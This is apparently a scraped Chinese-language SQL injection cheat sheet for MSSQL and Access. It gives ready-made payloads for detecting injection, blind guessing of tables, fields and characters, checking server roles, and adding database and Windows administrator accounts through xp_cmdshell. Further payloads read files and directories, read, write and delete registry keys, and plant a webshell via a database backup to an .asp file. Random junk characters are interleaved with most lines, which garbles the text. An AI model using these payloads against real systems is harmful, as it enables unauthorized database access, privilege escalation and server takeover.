1.判断是否有注入;and 1=1 ;and 1=2 2I#4jy/g
2.初步判断是否是mssql ;and user>0 m18 If
''f07R
3.注入参数是字符'and [查询条件] and ''=' L@|W&N;%a
N@>,gm@UU
4.搜索时没过滤参数的'and [查询条件] and '%25'=' +)Pv6Zog[
}'KVi=qnHb
5.判断数据库系统 VBIY[2zf
{zc<:^r^
;and (select count(*) from sysobjects)>0 mssql e:Zc-
0pS|t/h0
;and (select count(*) from msysobjects)>0 access 0NB6S&lI^k
lr[a~ca\
~_Tm S9
xPY/J#X$
6.猜数据库 ;and (select Count(*) from [数据库名])>0 /QsFeH
o[bG(qHZ
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Xh/i5}5 t
,f4mFL0~N
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 bg'B^E3
iTt"Ik'
9.(1)猜字段的ascii值(access) Ab<4F7
-k
p~pe*T
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ,))UQ7N
[UVxtM J
(2)猜字段的ascii值(mssql) $C UmRi{T
|yi3y `f
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Ok+zUA[Wu
9K@>{69WQ
10.测试权限结构(mssql) G"=tQ$ZU
N;A#3Ter
U/2g N
H
]Ph~-O
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- eiJO;%fl>l
U-ILzK
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 4'W| '4'b
&t+
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- |#x;}_>7
.[hQ#3)W
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- %:n1S]Vr
mN^92@eebC
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- {6v|d{V+e
K2TO,J3 E
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- {R7>-Y[4)2
sD$
\!7:b
;and 1=(select IS_MEMBER('db_owner'));-- )""i"/Mn
/(w:XTO<
`~hAXnQK=
8x
jJ
11.添加mssql和系统的帐户 jGzs; bE
*hAeA+:
;exec master.dbo.sp_addlogin username;-- GqI^$5?
;exec master.dbo.sp_password null,username,password;-- URDb
,@=qaU
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2,O-/A;tW*
=z]&E 78Y
;exec master.dbo.xp_cmdshell 'net user username password K,[g<7X5
2*Uwp;0
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- aTs5^Kh')
f- pt8
;exec master.dbo.xp_cmdshell 'net user username password /add';-- V#1_jxP)Q
+(5 H$O{h
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0\g;^Zpi
?#xNz=V
cI4%zeR
_=jc%@]1y
12.(1)遍历目录 J"8bRp=/|
e|
(jv<~r
;create table dirs(paths varchar(100), id int) yUQ;tTI
GBvB0kC) c
;insert dirs exec master.dbo.xp_dirtree 'c:\' =YBwO. !%
5M{N-L_eC
;and (select top 1 paths from dirs)>0 5j`"@C5;O
l/yLSGjM
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) EA2BN}
|H5){ 2V>K
S(5.y%"<
iYA06~d
(2)遍历目录 FpE83}@".w
1 ,o C:N
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- a
J[VX)"J
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 n<Z;Xh~F
:Tw3Oo_~S
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 gh}FZs5P
^aDos9SyV
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 gLQWL}0O
x;LyR
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 f3U#|(%(*
C/e`O|G
;u,%an<(
UuAn`oYhV
13.mssql中的存储过程 3 S:}fPR
C ^Tc9
xp_regenumvalues 注册表根键, 子键 \SnW(,`o X
3mZX@h@
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 88h-.\%Z
+Bv{A3E9
xp_regread 根键,子键,键值名 whoz^n3N E
/^qCJp`
;exec xp_regread _< 69d
[X)+(-J
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 A,MRK#1u
zY(*Xk
xp_regwrite 根键,子键, 值名, 值类型, 值 .txgb
d6<,R;)
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 5JDqSz{
{g l-tRC3
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ][ :6En}
J$&!Y[0
xp_regdeletevalue 根键,子键,值名 ]1%H.pF
Ka2U@fK"
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 `8\pihww
jfl7L"2
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 b^ly
?AyG!F
R+gh 2
6e
tQ'E"u1
14.mssql的backup创建webshell G=!Y ~q g
%B3E9<9>U
use model ;e()|
Xgd!i}6Q
create table cmd(str image); {8Hrb^8!
17H_>a\`
insert into cmd(str) values (''); 1@E<5rp o
:^3MN
backup database model to disk='c:\l.asp'; 5h+g^{BE
!y'LKze+G
0 '~Jr\4
6=90 wu3
15.mssql内置函数 ?;+=bKw0
sL~TV([6/
;and (select @@version)>0 获得Windows的版本号 Hm`9M.5b
oj$D3
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3w
?)H
xv 's52x
;and (select user_name())>0 爆当前系统的连接用户 s}`ydwSg8
w@nN3U+
;and (select db_name())>0 得到当前连接的数据库 B!!xu
;Y
j_@=
bU=!~W5
-'&MT